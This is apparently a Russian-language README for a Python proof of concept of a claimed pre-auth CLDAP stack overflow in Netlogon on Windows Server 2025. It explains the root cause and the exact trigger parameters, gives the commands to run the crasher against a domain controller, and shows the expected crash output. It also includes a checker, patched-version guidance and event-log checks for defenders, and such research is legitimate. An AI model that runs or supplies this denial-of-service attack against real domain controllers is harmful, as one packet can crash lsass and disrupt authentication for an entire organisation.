
CVE-2026-41089 LongLogon: pre-auth CLDAP (UDP/389) переполнение буфера стека, вызывающее крах непатченного Netlogon в Windows Server 2025 (lsass 0xc0000409). PoC на Python только со стандартной библиотекой + описание лабораторного исследования.
Переполнение буфера стека до аутентификации в службе Netlogon Windows Server 2025. Достаточно одного пакета CLDAP (UDP/389) с любого хоста в сети: lsass.exe завершается с STATUS_STACK_BUFFER_OVERRUN (0xc0000409), и контроллер домена перезагружается.
Ответ на Netlogon CLDAP ping сериализуется в 528-байтовый буфер стека. Сервер записывает свои собственные имена (forest, domain, hostname), за которыми следует контролируемое атакующим поле User (ограничено 130 широкими символами). Когда общий объём заполнения достигает 536 байт (буфер + стековый cookie), завершающий L'\0' перезаписывает /GS cookie, и процесс падает.
Поле NtVer определяет путь выполнения кода: 0x02 задействует уязвимый BuildSamLogonResponse, тогда как 0x06 / 0x16 задействуют ограниченный (безопасный) BuildSamLogonResponseEx. Этот PoC отправляет NtVer = 0x02.
python3 longlogon_exploit.py <dc-ip> <dc-dns-domain> [--dry-run] [--shots N] [--confirm-wait S] [--force]
--dry-run проверка с User=1 (безопасно), показать прогнозируемое заполнение, не запускать --shots N количество отправляемых пакетов переполнения (по умолчанию 1) --confirm-wait S ожидание перед повторной проверкой после тихого выстрела (по умолчанию 75 с) --force запускать, даже если прогнозируемое заполнение меньше 536 байт
Пример (замените IP и домен на значения из вашей лаборатории):
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example --dry-run
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example
Ожидаемый вывод при запуске:
[*] CVE-2026-41089 LongLogon crasher -> 192.168.1.10 (domain 64 chars)
[*] DC alive. Probe fill (User=1) = 323 B; projected fill (User=130) = 581 B (buffer 528, cookie 536)
[*] Firing overflow: NtVer=0x02, User=130 chars, shots=1
shot #1: NO REPLY (5.01 s) -> possible crash (or lost packet)
[*] Waiting 75 s to let the DC (re)start, then re-probing...
[+] DC STILL DOWN after overflow + re-probe -> CRASH LIKELY (reboot in progress or dump pending)
Коды выхода: 0 — падение вероятно, 1 — DC молчит при первоначальной проверке, 2 — заполнение меньше 536 байт (граница), 3 — DC выжил.
Примечание: скрипт повторно проверяет через 75 секунд, поскольку один тихий пакет может быть также потерянной UDP-датаграммой. Не делайте вывод о падении только по тишине.
Используйте официальный чекер из репозитория исследования. Он проверяет с User=1, поэтому DC остаётся в рабочем состоянии:
git clone https://github.com/ADScanPro/CVE-2026-41089-LongLogon && cd CVE-2026-41089-LongLogon
python3 run longlogon.py <dc-ip> <dc-dns-domain>
Ожидается: "PRECONDITION MET" с прогнозируемым заполнением не менее 536 байт.
Чекер не доказывает состояние патча: пропатченный DC идёт по тому же пути выполнения кода и просто отклоняет слишком длинную запись. Проверьте версию netlogon.dll на DC напрямую (< 10.0.26100.32772 = уязвим).
На DC, когда он снова заработает:
(Get-CimInstance Win32_OperatingSystem).LastBootUpTime
Get-WinEvent -FilterHashtable @{LogName='Application'; Id=1000} -MaxEvents 5
Ищите событие 1000: сбойное приложение lsass.exe, сбойный модуль netlogon.DLL, код исключения 0xc0000409 и время загрузки позже выстрела.
Протестировано на Windows Server 2025, lsass.exe 10.0.26100.7309, netlogon.dll 10.0.26100.32230 (непропатчен), 64-символьный домен + 63-символьное имя хоста (прогнозируемое заполнение 581 байт). Отправлен один пакет:
Application Error (Id 1000):
Faulting application: lsass.exe, version: 10.0.26100.7309
Faulting module: netlogon.DLL, version: 10.0.26100.32230
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
Fault offset: 0x000000000002399d
LastBootUpTime: 17:19:42 (crash logged at 17:18:37)
Этот PoC предоставлен исключительно в образовательных и исследовательских целях. Он был разработан и протестирован в изолированной лабораторной среде на Windows Server 2025. Используйте его на свой страх и риск.
Используя этот скрипт, вы соглашаетесь с тем, что автор не несёт ответственности за любую потерю данных, прерывание обслуживания, повреждение оборудования или иные прямые или косвенные последствия. Падение неидемпотентно: целевой контроллер домена перезагрузится. Сделайте снимок перед запуском.
Не даётся никаких гарантий, что этот PoC работает в производственной среде или на всех сборках Windows Server 2025.